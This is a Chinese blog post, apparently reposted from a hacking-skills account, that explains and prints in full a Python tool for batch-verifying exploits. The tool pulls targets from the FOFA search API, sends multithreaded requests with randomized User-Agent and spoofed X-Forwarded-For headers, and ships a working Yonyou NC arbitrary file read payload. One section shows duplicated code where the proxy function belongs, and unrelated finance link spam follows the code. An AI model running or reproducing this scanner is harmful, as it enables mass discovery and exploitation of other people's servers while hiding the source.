欢迎搜索公众号：白帽子左一
每天分享更多黑客技能，工具及体系化视频教程
作者：掌控安全- webdogc
编写目的
批量验证poc，Python代码练习。
需求分析
1、poc尽可能简单。
2、多线程。
3、联动fofa获取目标。
4、随机请求头.
实现过程
脚本分为三个模块，获取poc及目标、多线程批量请求验证、输出结果。其中批量请求验证包括构造多线程，修改请求参数，发送请求三个部分。
Main函数
在main函数中，主要有三个部分获取poc及目标，多线程(将目标填充到队列，创建多线程并启动)、输出结果。
具体实现如下：
def main(): # 响应Ctrl+C停止程序 signal.signal(signal.SIGINT, quit) signal.signal(signal.SIGTERM, quit) showpocs() ## 获取目标 targetList = getTarget() ## 多线程批量请求验证 thread(targetList) ## 输出结果 putTarget(List)获取目标
关于目标来源，设计单个目标、从文件中读取多个目标以及根据FoFa语法从FOFA_API中获取目标三种方式。
<br />定义函数getTarget，函数分为两个部分
第一部分为根据 -f Fofa语法 获取目标，默认数目为30条，
第二部分为根据 -u url / -i file / -f num(数目，默认为10)获取要请求验证的目标，两部分以是否传参poc参数区别，最后返回一个targetList列表。
具体实现如下：
def getTarget(): targetList=[] count=0 if result.poc==None: if result.outfile!=None and result.fofa!=None : # FOFA读取目标 if result.fofa!=None: qbase=result.fofa qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8") print("FOFA搜索："+qbase) fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size=30" try: res=requests.get(fofa_url) results = json.loads(res.text) filepath=result.outfile with open(filepath,'w') as targets: for i in results['results']: targets.write(i[1]+'\n') print(i[1]) count+=1 print("搜索结果有"+str(count)+"条，已保存在"+filepath+"里！") except Exception as e: print(e) sys.exit() else: if result.url!=None or result.file!=None or result.fofa!=None: # 单个目标 if result.url!=None: targetList.append(result.url) # 文件读取目标 if result.file!=None: try: filepath=result.file with open(filepath,'r') as targets: for target in targets.readlines(): targetList.append(target.strip()) except Exception as e: print(e) # FOFA读取目标 if result.fofa!=None: qbase="" pocName = result.poc with open('poc.json',encoding='UTF-8') as f: data = json.load(f) for poc in data: if pocName == poc: qbase=data[poc]['fofa'] qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8") try: fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size="+str(result.fofa) res=requests.get(fofa_url) results = json.loads(res.text) print("FOFA搜索："+qbase) print("搜索结果："+str(result.fofa)+"条") for i in results['results']: targetList.append(i[1]) # print(targetList) except Exception as e: print(e) return targetList else : sys.exit("参错有误！缺少目标！")批量请求验证
定义thread函数，封装多线程请求相关代码，需传入获取到的目标参数targetList。
具体实现如下：
def thread(targetList): ## 获取poc poc=poc_load() ## 填充队列 queueLock.acquire() for target in targetList: targetQueue.put(target) queueLock.release() ## 创建线程 threadList = [] threadNum=result.threadNum for i in range(0,threadNum): t=reqThread(targetQueue,poc) t.setDaemon(True) threadList.append(t) for i in threadList: i.start() # 等待所有线程完成 for t in threadList: t.join()加载POC
请求验证必须使用 -p pocName参数指定要使用的POC，所有POC在poc.json文件中存储。
具体实现如下：
# 加载pocdef poc_load(): if result.poc!=None: poc = result.poc isPoc = False # POC是否存在 # 读取json文件 with open('poc.json',encoding='UTF-8') as f: data = json.load(f) for key in data: if poc == key: isPoc=True if isPoc==False: print("POC 不存在！") sys.exit("请通过--show查看poc列表！") else: return data[poc] else: pass多线程类
定义reqThread线程类，传入队列以及poc两个参数，封装req请求方法。
具体实现如下：
class reqThread (threading.Thread): def __init__(self, q,poc): threading.Thread.__init__(self) self.q = q self.poc=poc def run(self): try: while not self.q.empty(): queueLock.acquire() target=self.q.get() queueLock.release() if self.req(target): print(target+" is vuln !") List.append(target) else: pass except Exception as e: pass def req(self,url): poc=self.poc payload=urlParse(url)+poc['request']['url'] res=requests.request(method=poc['request']['method'],url=payload,headers=randomheaders(poc),proxies=getProxy(),data=poc['request']['data'],verify=False,timeout=5) if res.status_code==200 and poc['request']['confirm'] in res.text: return True else: return False其中在req中的请求方法内，存在三个修改请求的方法。
urlParse
对获取到的目标进行文本处理。
# 处理urldef urlParse(url): if "https://" not in url: if "http://" in url: url=url else: url="http://"+url return urlgetProxy
指定请求代理。
# 代理def urlParse(url): if "https://" not in url: if "http://" in url: url=url else: url="http://"+url return urlrandomHeaders
添加随机User-Agent、referer、XFF等请求头参数值。
def randomHeaders(poc): headers={} uaList=[ 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36', 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/17D50 UCBrowser/12.8.2.1268 Mobile AliApp(TUnionSDK/0.1.20.3)', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36', 'Mozilla/5.0 (Linux; Android 8.1.0; OPPO R11t Build/OPM1.171019.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/11.19 SP-engine/2.15.0 baiduboxapp/11.19.5.10 (Baidu; P1 8.1.0)', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 SP-engine/2.14.0 main%2F1.0 baiduboxapp/11.18.0.16 (Baidu; P2 13.3.1) NABar/0.0', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36', 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/4G Language/zh_CN', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36', ] refList=[ "www.baidu.com" ] xffList=[ '127.0.0.1', '51.77.144.148', '80.93.212.46', '109.123.115.10', '187.44.229.50', '190.14.232.58', '5.166.57.222', '36.94.142.165', '52.149.152.236', '68.15.147.8', '188.166.215.141', '190.211.82.174', '101.51.139.179' ] if 'User-Agent' in poc['request']['headers']: if poc['request']['headers']['User-Agent'].strip()!='': headers['User-Agent']=poc['request']['headers']['User-Agent'] else: headers['User-Agent']=random.choice(uaList) if 'referer' in poc['request']['headers']: if poc['request']['headers']['referer'].strip()!='': headers['referer']=poc['request']['headers']['referer'] else: headers['referer']=random.choice(refList) if 'X-Forwarded-For' in poc['request']['headers']: if poc['request']['headers']['User-Agent'].strip()!='': headers['X-Forwarded-For']=poc['request']['headers']['X-Forwarded-For'] else: headers['X-Forwarded-For']=random.choice(xffList) for key in poc['request']['headers']: if key != "referer" and key != "User-Agent" and key != "X-Forwarded-For": headers[key]=poc['request']['headers'][key] return headers输出结果
定义全局变量List，储存要输出的目标，定义输出方法putTarget。
具体实现如下：
List=[]## 输出def putTarget(resultList): if result.file!=None or result.fofa!=None: if len(resultList)!=0 : if result.outfile != None : filepath=result.outfile with open(filepath,'w') as targets: for target in resultList: targets.write(target+'\n') print("验证结果有"+str(len(resultList))+"条，已保存在"+filepath+"里！") else: print("没有发现存在漏洞的目标！") else: pass其他
全局变量
# 忽略https告警requests.packages.urllib3.disable_warnings(InsecureRequestWarning)## 队列targetQueue = queue.Queue(100)## 锁queueLock = threading.Lock()# 结果List=[]# FoFAemail=""key=""命令行读取参数
arg = ArgumentParser(description='POC_Verify')arg.add_argument('-u', dest='url',help='Target URL',type=str)arg.add_argument('-i', '--file', dest='file',help='Scan multiple targets given in a textual file',type=str)arg.add_argument('-f',"--fofa", dest='fofa',help='fofaquery Nums/String Example if poc -f 10 else -f "abc" default=30',default=10)arg.add_argument('-p', dest='poc',help=' Load POC file from poc.json')arg.add_argument('-proxy', dest='proxy',help='Use a proxy to connect to the target URL Example : -proxy http:127.0.0.1:8080',type=str)arg.add_argument('-t', dest='threadNum',help='the thread_count,default=10', type=int, default=10)arg.add_argument('-show', dest='show', help='show all pocs',nargs='?',const='all',type=str)arg.add_argument('-o', '--outfile', dest='outfile', help='the file save result', default='result.txt',type=str)result = arg.parse_args()poc详情显示
## 显示pocdef showpocs(): isPoc = False if result.show != None: # 读取json文件 with open('poc.json',encoding='UTF-8') as f: data = json.load(f) if result.show== "all": print("pocname".ljust(20),"description".ljust(20)) print("----------------------------------------------") for key in data: print(key.ljust(20),data[key]['name'].ljust(20)) else: if result.show in data: print("pocname".ljust(20),"description".ljust(20)) print("----------------------------------------------") print(result.show.ljust(20),data[result.show]['name'].ljust(20)) sys.exit() else: passCtrl+C结束线程
# 停止程序def quit(signum, frame): print('You choose to stop me.') sys.exit()def main(): # 响应Ctrl+C停止程序 signal.signal(signal.SIGINT, quit) signal.signal(signal.SIGTERM, quit)poc.json文件
poc本质为一次HTTP请求，本着简单的原则，仅设计名称、联动fofa的语法、请求头、请求内容、以及验证漏洞存在回显的内容5个字段。
{ "pocname": { "name":"漏洞描述", "fofa":"fofa搜索字符串，特殊符号需要转义", "request": { "method": "", "url":"", "headers": { "referer": "", "User-Agent": "", "X-Forwarded-For": "", "Content-Type": "" }, "data": "", "confirm": "回显字符串" } }, "yonyounc": { "name": "用友NC 任意文件读取", "fofa":"app=\"用友-UFIDA-NC\"", "request": { "method": "get", "url": "/NCFindWeb?service=IPreAlertConfigService&filename=index.jsp", "headers": { "referer": "", "User-Agent": "", "X-Forwarded-For": "" }, "data": "", "confirm": "<%@ page language=" } }}运行结果
FoFa获取目标
POC验证
总结
代码实现基本功能，已暂时符合自己使用需求，此次实践已完成编写目的，但一些容错机制以及细小功能点还需完善，如输入为空程序运行结果，以及代理模块功能待实现。
通过此次编程，在熟悉Python编程的同时也深感代码功底的薄弱。
不过最后还是学习到不少知识，比如多线程、读写文件、数据类型操作、命令行参数读取、编程模块化思想等。
之后可以多尝试使用python编写小demo工具，避免对编程思维生疏。
完整代码
import requestsfrom requests.packages.urllib3.exceptions import InsecureRequestWarningfrom argparse import ArgumentParserimport jsonimport base64import randomimport threadingimport queueimport timeimport sys,signal# 忽略https告警requests.packages.urllib3.disable_warnings(InsecureRequestWarning)## 队列targetQueue = queue.Queue(100)## 锁queueLock = threading.Lock()# 结果List=[]# FoFAemail=""key=""arg = ArgumentParser(description='POC_Verify')arg.add_argument('-u', dest='url',help='Target URL',type=str)arg.add_argument('-i', '--file', dest='file',help='Scan multiple targets given in a textual file',type=str)arg.add_argument('-f',"--fofa", dest='fofa',help='fofaquery Nums/String Example if poc -f 10 else -f "abc" default=30',default=10)arg.add_argument('-p', dest='poc',help=' Load POC file from poc.json')arg.add_argument('-proxy', dest='proxy',help='Use a proxy to connect to the target URL Example : -proxy http:127.0.0.1:8080',type=str)arg.add_argument('-t', dest='threadNum',help='the thread_count,default=10', type=int, default=10)arg.add_argument('-show', dest='show', help='show all pocs',nargs='?',const='all',type=str)arg.add_argument('-o', '--outfile', dest='outfile', help='the file save result', default='result.txt',type=str)result = arg.parse_args()class reqThread (threading.Thread): def __init__(self, q,poc): threading.Thread.__init__(self) self.q = q self.poc=poc def run(self): try: while not self.q.empty(): queueLock.acquire() target=self.q.get() queueLock.release() if self.req(target): print(target+" is vuln !") List.append(target) else: pass except Exception as e: pass def req(self,url): poc=self.poc payload=urlParse(url)+poc['request']['url'] res=requests.request(method=poc['request']['method'],url=payload,headers=randomHeaders(poc),proxies=getProxy(),data=poc['request']['data'],verify=False,timeout=5) if res.status_code==200 and poc['request']['confirm'] in res.text: return True else: return False## IP代理def getProxy(): proxy={} if result.proxy!= None: proxy[result.proxy[:result.proxy.index(":")]]=result.proxy[result.proxy.index(":")+1:] return proxy# 处理urldef urlParse(url): if "https://" not in url: if "http://" in url: url=url else: url="http://"+url return url# 随机更换User-Agent、XFF、refererdef randomHeaders(poc): headers={} uaList=[ 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36', 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/17D50 UCBrowser/12.8.2.1268 Mobile AliApp(TUnionSDK/0.1.20.3)', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36', 'Mozilla/5.0 (Linux; Android 8.1.0; OPPO R11t Build/OPM1.171019.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/11.19 SP-engine/2.15.0 baiduboxapp/11.19.5.10 (Baidu; P1 8.1.0)', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 SP-engine/2.14.0 main%2F1.0 baiduboxapp/11.18.0.16 (Baidu; P2 13.3.1) NABar/0.0', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36', 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/4G Language/zh_CN', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36', ] refList=[ "www.baidu.com" ] xffList=[ '127.0.0.1', '51.77.144.148', '80.93.212.46', '109.123.115.10', '187.44.229.50', '190.14.232.58', '5.166.57.222', '36.94.142.165', '52.149.152.236', '68.15.147.8', '188.166.215.141', '190.211.82.174', '101.51.139.179' ] if 'User-Agent' in poc['request']['headers']: if poc['request']['headers']['User-Agent'].strip()!='': headers['User-Agent']=poc['request']['headers']['User-Agent'] else: headers['User-Agent']=random.choice(uaList) if 'referer' in poc['request']['headers']: if poc['request']['headers']['referer'].strip()!='': headers['referer']=poc['request']['headers']['referer'] else: headers['referer']=random.choice(refList) if 'X-Forwarded-For' in poc['request']['headers']: if poc['request']['headers']['User-Agent'].strip()!='': headers['X-Forwarded-For']=poc['request']['headers']['X-Forwarded-For'] else: headers['X-Forwarded-For']=random.choice(xffList) for key in poc['request']['headers']: if key != "referer" and key != "User-Agent" and key != "X-Forwarded-For": headers[key]=poc['request']['headers'][key] return headers# 获取目标def getTarget(): targetList=[] count=0 if result.poc==None: if result.outfile!=None and result.fofa!=None : # FOFA读取目标 if result.fofa!=None: qbase=result.fofa qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8") print("FOFA搜索："+qbase) fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size=30" try: res=requests.get(fofa_url) results = json.loads(res.text) filepath=result.outfile with open(filepath,'w') as targets: for i in results['results']: targets.write(i[1]+'\n') print(i[1]) count+=1 print("搜索结果有"+str(count)+"条，已保存在"+filepath+"里！") except Exception as e: print(e) sys.exit() else: if result.url!=None or result.file!=None or result.fofa!=None: # 单个目标 if result.url!=None: targetList.append(result.url) # 文件读取目标 if result.file!=None: try: filepath=result.file with open(filepath,'r') as targets: for target in targets.readlines(): targetList.append(target.strip()) except Exception as e: print(e) # FOFA读取目标 if result.fofa!=None: qbase="" pocName = result.poc with open('poc.json',encoding='UTF-8') as f: data = json.load(f) for poc in data: if pocName == poc: qbase=data[poc]['fofa'] qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8") try: fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size="+str(result.fofa) res=requests.get(fofa_url) results = json.loads(res.text) print("FOFA搜索："+qbase) print("搜索结果："+str(result.fofa)+"条") for i in results['results']: targetList.append(i[1]) # print(targetList) except Exception as e: print(e) return targetList else : sys.exit("参错有误！缺少目标！")# 加载pocdef poc_load(): if result.poc!=None: poc = result.poc isPoc = False # 读取json文件 with open('poc.json',encoding='UTF-8') as f: data = json.load(f) for key in data: if poc == key: isPoc=True if isPoc==False: print("POC 不存在！") sys.exit("请通过--show查看poc列表！") else: return data[poc] else: pass## 输出def putTarget(resultList): if result.file!=None or result.fofa!=None: if len(resultList)!=0 : if result.outfile != None : filepath=result.outfile with open(filepath,'w') as targets: for target in resultList: targets.write(target+'\n') print("验证结果有"+str(len(resultList))+"条，已保存在"+filepath+"里！") else: print("没有发现存在漏洞的目标！") else: pass## 显示pocdef showpocs(): isPoc = False if result.show != None: # 读取json文件 with open('poc.json',encoding='UTF-8') as f: data = json.load(f) if result.show== "all": print("pocname".ljust(20),"description".ljust(20)) print("----------------------------------------------") for key in data: print(key.ljust(20),data[key]['name'].ljust(20)) else: if result.show in data: print("pocname".ljust(20),"description".ljust(20)) print("----------------------------------------------") print(result.show.ljust(20),data[result.show]['name'].ljust(20)) sys.exit() else: pass# 停止程序def quit(signum, frame): print('You choose to stop me.') sys.exit()def thread(targetList): ## 获取poc poc=poc_load() ## 填充队列 queueLock.acquire() for target in targetList: targetQueue.put(target) queueLock.release() ## 创建线程 threadList = [] threadNum=result.threadNum for i in range(0,threadNum): t=reqThread(targetQueue,poc) t.setDaemon(True) threadList.append(t) for i in threadList: i.start() # 等待所有线程完成 for t in threadList: t.join()def main(): # 响应Ctrl+C停止程序 signal.signal(signal.SIGINT, quit) signal.signal(signal.SIGTERM, quit) showpocs() ## 获取目标 targetList = getTarget() ## 多线程批量请求验证 thread(targetList) ## 输出结果 putTarget(List)if __name__ == '__main__': main()相关内容
百花村股市目标价(百花村股市目标价是多少)
什么投资可避免通货膨胀(什么投资可避免通货膨胀呢)
三叶精密机械股份有限公司(三叶精密机械股份有限公司怎么样)
基金投资目标(基金投资目标的构成要素)
300852是什么股票(太平洋：给予四会富仕买入评级，目标价位7843元)
浦发银行临沂总行地址(浦发银行临沂网点查询)
投资理念含预期收益目标(预期投资目标原则)
以太坊创始人都有谁 以太坊创始人都有谁啊
美光股票投资行预计价格(美光科技股票目标价)
没有国外id怎么下载tiktok？没有美国id怎么下载tiktok
文章来源：
经典理财网
版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容， 请发送邮件至 931614094@qq.com 举报，一经查实，本站将立刻删除。
上一篇
